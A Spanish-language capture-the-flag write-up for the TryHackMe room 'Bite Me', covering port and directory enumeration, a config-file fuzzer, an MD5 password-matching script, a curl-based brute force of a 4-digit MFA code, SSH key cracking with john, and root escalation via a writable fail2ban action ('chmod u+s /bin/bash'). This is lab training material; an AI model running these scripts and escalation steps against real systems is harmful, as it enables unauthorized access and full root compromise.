Post

Bite Me - TryHackMe

Write up en español para Bite Me - TryHackMe

Bite Me - TryHackMe

Escaneo de puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sV -Pn -T4 -O 10.10.20.188
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-07 19:16 CEST
Nmap scan report for 10.10.20.188
Host is up (0.054s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 80

El puerto 80 por defecto está abierto y está corriendo Apache.

alt text

Enumeración de directorios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gobuster dir -u http://10.10.20.188 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.20.188
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/console              (Status: 301) [Size: 314] [--> http://10.10.20.188/console/]
/index.html           (Status: 200) [Size: 10918]
/server-status        (Status: 403) [Size: 277]
Progress: 4744 / 4745 (99.98%)
===============================================================
Finished
===============================================================

Descubrimos un panel de login en /console.

Probamos de nuevo el descubrimiento de directorios.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gobuster dir -u http://10.10.20.188/console -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.20.188/console
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 318] [--> http://10.10.20.188/console/css/]
/index.php            (Status: 200) [Size: 3961]
/robots.txt           (Status: 200) [Size: 25]
/securimage           (Status: 301) [Size: 325] [--> http://10.10.20.188/console/securimage/]
Progress: 4744 / 4745 (99.98%)
===============================================================
Finished
===============================================================

En securimage encontramos un directorio abierto con información sobre plugin del captcha que utiliza en PHP.

alt text

1
2
3
4
5
6
7
NAME:

    Securimage - A PHP class for creating captcha images and audio with many options.

VERSION:

    3.6.8

Aquí encontramos también un archivo words.txt.

alt text

Sabiendo que existen archivos PHP de configuración podemos intentar forzar para descubrir algunas configuraciones.

Archivos como config.php, config.inc.php, config.phps, etc.

Podemos utilizar herramientas o utilizar un script sencillo como el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3

import requests
import sys

def fuzz_configs(url):
    # Algunos nombres comunes de archivos de configuración
    potential_configs = [
        "config.php",
        "config.php.bak",
        "config.php~",
        "config.phps",
        "config.old",
        "config.txt",
        "config.inc",
        "config.inc.php",
        "config.bak",
        "wp-config.php",
        "wp-config.php.bak",
        "db_config.php",
        "dbconfig.php",
        "dbconfig.txt",
        "database.ini",
        "localsettings.php",
        "settings.php",
    ]

    # Ajusta el timeout a tus necesidades
    timeout_value = 5

    # Mostramos en pantalla un header informativo
    print(f"\n[+] Iniciando fuzzing de configuraciones en: {url}\n")

    for conf_file in potential_configs:
        # Construimos la URL completa
        full_url = f"{url.strip('/')}/{conf_file}"
        
        try:
            response = requests.get(full_url, timeout=timeout_value)
            status_code = response.status_code
            
            # Filtramos códigos de estado interesantes
            if status_code not in [404, 400, 405]:
                print(f"[{status_code}] => {full_url}")
        
        except requests.exceptions.RequestException as e:
            # Errores de conexión, timeout, etc.
            print(f"[-] Error al conectar con {full_url}: {e}")

    print("\n[+] Fuzzing finalizado.\n")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Uso: python {sys.argv[0]} <URL>")
        print(f"Ejemplo: python {sys.argv[0]} http://10.10.20.188")
        sys.exit(1)

    target_url = sys.argv[1]
    fuzz_configs(target_url)

alt text

alt text

Encontramos un string de código en hexacimal que al decoficiarlo nos muestra un nombre de usuario.

alt text

Buscando más archivos posibles de configuración encontramos el siguiete:

alt text

Este archivo mustra como se valida la contraseña del usuario. La valida cuando el hash independientemente de la contraseña introducida este termine en 001.

Como vemos en la función el hash que se comprueba es MD5.

Sabiendo esto y teniendo la lista words.txt que encontramos antes podemos intentar ver cual de los hashes es el correcto.

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

wordlist="words.txt"

while IFS= read -r word; do
    hash=$(echo -n "$word" | md5sum | awk '{print $1}')
    if [[ $hash == *001 ]]; then
        echo "The password is: $word"
        break
    fi
done < "$wordlist"
1
2
./hashes.sh
The password is: bXXXXy

Ahora que tenemos usuario y contraseña podemos autenticarnos.

Bypass de la autenticación MFA

alt text

Parece que tenemos un MFA activo.

Mirando el código fuente de la web podemos ver la función con la que se maneja el submit del MFA.

alt text

Mirando la función vamos a ver un mensaje que dice ser necesario implementar mecanismos de seguridad para evitar el ataque de fuerza bruta, justo lo que vamos a aprovechar.

alt text

Brute forcing de la clave

Como nos indica el mensaje la clave es de 4 dígitos por lo que vamos a ello.

  • Creamos un diccionario de claves
1
crunch 4 4 1234567890 > /tmp/MFA
  • Capturamos con Burp Suite

alt text

Ahora para hacer el brute forcing Burp Suite va a tardar demasiado y tuve problemas con hydra así que usé el siguiente script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

TARGET="http://10.10.56.136/console/mfa.php"
COOKIE="PHPSESSID=38foerd2ev0ekkvib75uv13484; user=jason_test_account; pwd=braggy"
WORDLIST="MFA.txt"
THREADS=25  # Puedes subirlo si el servidor aguanta

echo "[+] Bruteforce iniciado... solo se mostrará el código correcto."

cat "$WORDLIST" | xargs -P "$THREADS" -I {} bash -c '
  CODE={}
  RESPONSE=$(curl -s -X POST "'"$TARGET"'" \
    -d "code=$CODE" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "Cookie: '"$COOKIE"'" \
    -H "Referer: '"$TARGET"'" \
    -H "User-Agent: Mozilla/5.0")

  if ! echo "$RESPONSE" | grep -q "Incorrect code"; then
    echo "[✔] Código correcto encontrado: $CODE"
    pkill -P $$ curl 2>/dev/null
    kill $$ 2>/dev/null
  fi
'

alt text

Panel de archivos

alt text

Podemos buscar y visualizar archivos del sistema.

alt text

Utiliza la función scandir para listar los archivos y directorios.

alt text

Desde aquí ya podemos ver la flag de usuario.

alt text

Acceso por ssh

Buscamos claves ssh en el sistema.

alt text

Como se encuentra encriptada utilizamos el siguiente comando para descifrarla.

1
2
ssh2john id_rsa > jasonkey
john jasonkey --wordlist=/usr/share/wordlists/rockyou.txt

alt text

Listo, ahora damos permisos al archivo y tenemos acceso al sistema.

1
chmod 600 id_rsa

alt text

Escalado de privilegios

Como vemos en el comando sudo -l el usuario:

🟥 (ALL : ALL) ALL Puedes ejecutar cualquier comando como root, si sabemos la contraseña de jason.

🟩 (fred) NOPASSWD: ALL Puedes ejecutar cualquier comando como el usuario fred sin contraseña.

Por lo tanto vamos a pasar al usuario fred.

1
sudo -s -u fred

alt text

Ahora como fred.

Podemos reiniciar el servicio fail2ban como root sin contraseña. Si podemos modificar su unidad de sistema o algo que cargue, podemos ejecutar cualquier comando como root al reiniciar.

Aprovechando la explicación de una vulnerabilidad conocida en este post

  • Resumen de la vulnerabilidad

fail2ban ejecuta acciones como root cuando detecta actividad maliciosa (como fuerza bruta).

Esas acciones se definen en archivos como /etc/fail2ban/action.d/iptables-multiport.conf.

Si podemos modificar esos archivos, podemos colarle un comando malicioso que se ejecuta como root.

Luego hacmeos que se dispare la acción (por ejemplo, fallando un login muchas veces).

Fail2ban

Verificamos permisos sobre `` /etc/fail2ban/action.d`

alt text

Confirma que tenemos escritura en:

/etc/fail2ban/action.d/iptables-multiport.conf

Añadimos la siguiente linea al archivo:

1
actionban = chmod u+s /bin/bash

alt text

Reiniciamos el servicio fail2ban.

1
sudo systemctl restart fail2ban

Realizamos un ataque de fuerza bruta.

1
hydra -l root -P MFA.txt 10.10.56.136 ssh

Y pasados unos segundos…

alt text

This post is licensed under CC BY 4.0 by the author.